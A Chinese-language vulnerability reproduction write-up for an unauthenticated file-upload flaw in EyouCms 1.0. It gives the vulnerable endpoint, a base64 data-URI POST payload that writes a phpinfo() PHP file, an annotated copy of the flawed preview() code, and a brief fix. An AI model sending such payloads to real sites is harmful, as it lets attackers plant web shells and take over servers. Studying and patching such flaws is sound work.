EyouCms1.0前台GetShell漏洞复现

漏洞名称:
EyouCms1.0前台GetShell
漏洞影响:
EyouCms1.0

复现过程:

url/index.php/api/Uploadify/preview

若出现:
在这里插入图片描述
则说明漏洞存在,可以进行进一步利用
通过post数据:

data:image/php;base64,JTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQg==

页面返回:
在这里插入图片描述此时访问:

url/preview/c7a10e2172ba0f171ec45f376fb0601d.php

得到php配置文件:
EyouCms1.0前台GetShell漏洞复现_第1张图片

漏洞分析:

eyoucms是基于thinkphp5开发的,而从漏洞出现的位置是在application\api\controller\Uploadify.php
漏洞函数是preview,关键语句如下:
最关键的地方如下:

 $src = file_get_contents('php://input');//使用php伪协议写入
        if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) { //matches被赋值为搜索出来的结果
            $previewUrl = sprintf(
                "%s://%s%s",//类c的输出语言
                isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',//输出http或者https
                $_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']//host,不重要的东西
            );
            $previewUrl = str_replace("preview.php", "", $previewUrl);//如果previewUrl也有preview.php则过滤
            $base64 = $matches[2];//获取base64数据
            $type = $matches[1];//获取base64后缀
            if ($type === 'jpeg') {
                $type = 'jpg';
            }//没什么用的判断
        
            $filename = md5($base64).".$type";//将传入的base64那儿进行md5加密,再添上文件类型
            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;//文件存放路径位preveiw/文件名
        
            if (file_exists($filePath)) {//存在即返回存在的路径
                die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
            } else {
                $data = base64_decode($base64);//不存在就进行base64解密
                file_put_contents($filePath, $data);//并且写入文件
                die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');//返回文件路径
            }

data:image/可以传入我们想要的数据,比如:
data:image/php就可以传入php
因此,我们可以直接写:
data:image/php;base64,JTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQg==(这是

修复方案:
设置黑白名单

你可能感兴趣的:(漏洞复现)